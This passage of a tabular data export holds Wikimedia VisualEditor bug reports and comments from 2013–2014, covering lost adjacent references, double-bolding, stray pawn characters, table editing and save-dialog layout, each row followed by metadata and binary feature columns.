+Unfortunately, this is ""again"", not ""still"", and is caused by bug 53434 in Parsoid, I think. :-( Marking this as ""fixed"" but highlighting on that one how urgent this is. Sorry for the disruption.",,,1377824944,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-uxrs32aphojxiommp53x,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+247090,VisualEditor: VE will not save multiple consecutive references,"Users are reporting that VE is still not saving multiple references:
+
+Reported today by The Devil's Advocate
+if I add multiple citations to back a statement, the Visual Editor only saves the first citation I added. This happened once when I added three citations to back a claim and had to add each one individually over the course of three edits and again just now when I had to add a second citation after it didn't get saved. Multiple citations can be added if they are separate as I had added a citation for another statement in the same edit and it was saved.
+
+Reported on the 22nd by Sue Gardner
+Last night I created a new article with multiple references, and when I saved the page many of the references disappeared and some I think had jumped around. (I didn't save-as-I-went -- I wrote the whole thing and saved once, at the end.) I can't describe exactly what happened, but here's a diff: [1] the latest revision [2] is roughly what I was aiming to do, and the earlier revision [3] is what I actually achieved. (Ignore the missing reflist: I just hadn't gotten around to figuring out how to add it in VE yet, so I did it afterwards in wiki syntax.)
+
+So, in my initial VE save, it looks like references #5, 6 & 7 disappeared as did #14 and 15. (Numbers taken from the latest revision.) This suggests to me there's a problem with VE saving multiple adjacent references -- when there are multiples adjacent, it seems to save only the first. I think also some references jumped around, but I'm not 100% sure about that.
+
+[1] https://en.wikipedia.org/w/index.php?title=Mansplaining&diff=569638597&oldid=569526861
+[2] https://en.wikipedia.org/w/index.php?title=Mansplaining&oldid=569638597
+[3] https://en.wikipedia.org/w/index.php?title=Mansplaining&oldid=569526861",,,1377597258,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-uxrs32aphojxiommp53x,task_subcomment,,True,c1,3,False,,,8,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,0,0,1,1,1,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1
+247083,VisualEditor: VE will not save multiple consecutive references,*** Bug 52269 has been marked as a duplicate of this bug. ***,,,1376325366,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-uxrs32aphojxiommp53x,task_subcomment,,True,c1,3,False,,,6,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+247078,VisualEditor: VE will not save multiple consecutive references,Fixed and will get deployed in a little while.,,,1375222413,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-uxrs32aphojxiommp53x,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+247072,VisualEditor: VE will not save multiple consecutive references,"Change 76836 merged by jenkins-bot:
+Remove the DM 'about' attribute from references and reference lists
+
+https://gerrit.wikimedia.org/r/76836",,,1375222340,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-uxrs32aphojxiommp53x,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+247064,VisualEditor: VE will not save multiple consecutive references,"Change 76836 had a related patch set uploaded by Catrope:
+Remove the DM 'about' attribute from references and reference lists
+
+https://gerrit.wikimedia.org/r/76836",,,1375221066,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-uxrs32aphojxiommp53x,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+247055,VisualEditor: VE will not save multiple consecutive references,"This happens because we send Parsoid something like
+
+<span about=""undefined"" typeof=""mw:Extension/ref"" data-mw=""...""></span><span about=""undefined"" typeof=""mw:Extension/ref"" data-mw=""...""></span>
+
+which then gets about-grouped. We need to just drop the about attribute if we don't have it.
+
+Ironically we've had breakage in the other direction before, where Parsoid output multiple adjacent images with about=""null"". Karma's a bitch :)",,,1375218845,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-uxrs32aphojxiommp53x,task_subcomment,,True,c1,3,False,,,4,,0,1,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+54189,VisualEditor: Using bold button on partially bolded selection causes double-bolding,"+++ This bug was initially created as a clone of Bug #50170 +++
+
+1. Edit [[mw:VisualEditor:Sfioj]] in VE
+2. Make a selection such as
+
+     These wor[ds are ve]ry bold
+
+3. Click the ""Bold"" button on the toolbar
+
+The selected text goes extra-bold, in Firefox 22. 
+
+I should mention that in my case, the font is Arial, which has an extra bold ""Arial-Black"" variant.
+
+Basically the same as 50170 except that this is narrower.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1375013460,1395164739.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-dp34rjmxuoe4ud2hxyic,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,1
+244588,VisualEditor: Using bold button on partially bolded selection causes double-bolding,"Change 119282 merged by jenkins-bot:
+Prevent comparable annotations from being applied twice
+
+https://gerrit.wikimedia.org/r/119282",,,1395164666,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dp34rjmxuoe4ud2hxyic,task_subcomment,,True,c1,3,False,,,37,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+244581,VisualEditor: Using bold button on partially bolded selection causes double-bolding,"Change 119282 had a related patch set uploaded by Esanders:
+Prevent comparable annotations from being applied twice
+
+https://gerrit.wikimedia.org/r/119282",,,1395148872,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dp34rjmxuoe4ud2hxyic,task_subcomment,,True,c1,3,False,,,37,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244574,VisualEditor: Using bold button on partially bolded selection causes double-bolding,"No it isn't: if you follow the STR, you will still see this bug on Firefox 25.",,,1385423957,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-dp34rjmxuoe4ud2hxyic,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+244567,VisualEditor: Using bold button on partially bolded selection causes double-bolding,"This was the same bug as bug 50170, however; merging.
+
+*** This bug has been marked as a duplicate of bug 50170 ***",,,1385398575,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dp34rjmxuoe4ud2hxyic,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+244557,VisualEditor: Using bold button on partially bolded selection causes double-bolding,"(In reply to comment #0)
+> this is narrower.
+
+A narrower set of circumstances, not a narrower font!",,,1375092200,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-dp34rjmxuoe4ud2hxyic,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1
+54185,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),"**Author:** `jonathan_haas`
+
+**Description:**
+To reproduce:
+
+Goto http://de.wikipedia.org/wiki/The_Binding_of_Isaac?veaction=edit
+
+1. Click on infobox
+2. Hit the ""a"" key
+3. Hit ctrl+z
+
+Repeat steps 1-3 as long as necessary (about 1-6 times)
+
+Current result:
+
+Instead of being restored on ctrl+z, sometimes the infobox is replaced by a pawn.
+The article begins with ""♙The Binding of Isaac"" then.
+
+Also, ctrl+z should probably also restore the selection, so I think it's another bugh that you have to repeat step 1 every time.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52113",High,80.0,1375009500,1403060346.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_description,resolved,True,c1,3,False,False,False,3,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+244354,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),"Pressing anything other than delete no longer does anything for me, which seems sensible.",,,1402837149,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,True,,,49,,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0
+244347,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),Bumping; this is happening 100% of the time now.,,,1394224211,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,True,,,35,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+244340,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),"**jonathan.haas** wrote:
+
+Using the current Firefox 27 alpha (Aurora build), the problem seems to be much worse, as the pawn appears reliably in step 2 just after pressing ""a"". Maybe it's a different issue, but maybe it helps debugging this one.
+
+TBH, this pawn stuff seems to be very weird and unstable to me. Why can they appear in the first place?",,,1383600380,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,False,,,18,,1,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0
+244333,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),"I can occasionally reproduce this in Chrome and Firefox, but not reliably (roughly 1 in 10 replacements). Race condition on the change stack or something?",,,1383586954,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,True,,,18,,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+244325,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),"**p.selitskas** wrote:
+
+I could reproduce this with cyrillic letters in be-x-old.wikipedia.org, at least a few weeks ago.",,,1376489457,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,False,,,6,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0
+244318,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),I can't reproduce after about 20 tries in Firefox 23/Linux/Monobook,,,1376488978,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+244313,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),"**jonathan_haas** wrote:
+
+Screenshot
+
+Also managed to reproduce in Chrome 28.
+
+No error in javascript console in both browsers.
+
+**Attached**: {F11523}",,,1376488730,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+244307,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),"**jonathan_haas** wrote:
+
+I still can (FF23). Just managed on first try.",,,1376488379,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+244301,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),Can't reproduce in Chrome or FF,,,1376488242,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,True,,,6,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+244295,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),This is possibly bug 51532,,,1375059258,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+244291,VisualEditor: Replacing a selected template with a keyboard press creates a pawn (♙),Reproduced; I havent looked to see if this scenario has been reported already.,,,1375049196,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4vm6pqlg5hib6dju3lvl,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+54181,"Be able to add or remove tables, table rows and table columns","**Author:** `jonathan_haas`
+
+**Description:**
+I can't find a possible way to add or edit tables, except changing the content of cells.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52641",High,80.0,1375007700,1414522013.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-2klcawe4zbxemkcjvd56,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+244077,"Be able to add or remove tables, table rows and table columns",post-deploy testing in test2 - VisualEditor has added functiona lity to insert/remove tables and modify tables - insert columns and rows  in tables.,,,1415230310,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-2klcawe4zbxemkcjvd56,task_subcomment,,True,c1,3,True,,,70,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+244074,"Be able to add or remove tables, table rows and table columns",Done in gerrit 159310 and related stack.,,,1414522013,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2klcawe4zbxemkcjvd56,task_subcomment,,True,c1,3,True,,,69,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+244068,"Be able to add or remove tables, table rows and table columns","Swedish Wikipedian Sebbes333 [1] reports here [2] that he ""would like to insert a new column in a 2D table, [however] do not think it will go into beta editor yet."" 
+
+[1]
+https://sv.wikipedia.org/wiki/Anv%C3%A4ndare:Sebbes333
+
+[2]
+https://sv.wikipedia.org/wiki/Wikipedia:VisualEditor/%C3%85terkoppling#Infoga_ny_kolumn_i_en_2D_tabell_i_beta_redigeraren.",,,1381788601,,PHID-USER-brn4v5ta45bnw4f5as3h,False,,,PHID-TASK-2klcawe4zbxemkcjvd56,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+244063,"Be able to add or remove tables, table rows and table columns",*** Bug 53325 has been marked as a duplicate of this bug. ***,,,1377528014,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-2klcawe4zbxemkcjvd56,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+244058,"Be able to add or remove tables, table rows and table columns","Ok, will move it elsewhere. Thanks.",,,1375954624,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-2klcawe4zbxemkcjvd56,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+244054,"Be able to add or remove tables, table rows and table columns","**jonathan_haas** wrote:
+
+(In reply to comment #2)
+> <<I was editing my userpage with VE today, and I noticed that, in the part
+> of a
+> table with an empty cell, VE seemed to move the two pipes inside the cell on
+> the left, and the empty cell didn't show. -- t numbermaniac c 03:02, 6 August
+> 2013 (UTC)>> (first line of the Redirect table in
+> http://en.wikipedia.org/wiki/User:Numbermaniac?veaction=edit ).
+
+Confirmed, but I think this deserves another, separate bug report.",,,1375954522,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2klcawe4zbxemkcjvd56,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+244051,"Be able to add or remove tables, table rows and table columns","<<I was editing my userpage with VE today, and I noticed that, in the part of a table with an empty cell, VE seemed to move the two pipes inside the cell on the left, and the empty cell didn't show. -- t numbermaniac c 03:02, 6 August 2013 (UTC)>> (first line of the Redirect table in http://en.wikipedia.org/wiki/User:Numbermaniac?veaction=edit ).",,,1375954013,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-2klcawe4zbxemkcjvd56,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+244047,"Be able to add or remove tables, table rows and table columns",I couldnt find another bug for creating tables.,,,1375049900,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-2klcawe4zbxemkcjvd56,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+54175,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings","screenshot
+
+When using German language (on German and English Wikipedia, but also likely everywhere else), the layout of the minor changes & watchlist checkboxes on the save dialog is not appropriate when viewed in Firefox.  Attached is Vector; same problem exists in Monobook.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52176
+
+//attachment VE_de_Firefox_save_dialog .png ignored as obsolete//",High,80.0,1374996540,1384842507.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-q3emmq6fhgusggcncftz,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+243771,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings",The line-height is too large and the second line is offset to left.,,,1384857530,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,True,,,20,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+243764,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings",Reset as FIXED. The screenshot you attach looks normal - could you annotate the parts you think aren't correct? Probably as a new bug…,,,1384842507,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,True,,,20,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0
+243757,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings","Created attachment 13820
+Screenshot, 2013-11-17 (in Polish)
+
+This appears to still not fixed :( I'm adding an up-to-date screenshot.
+
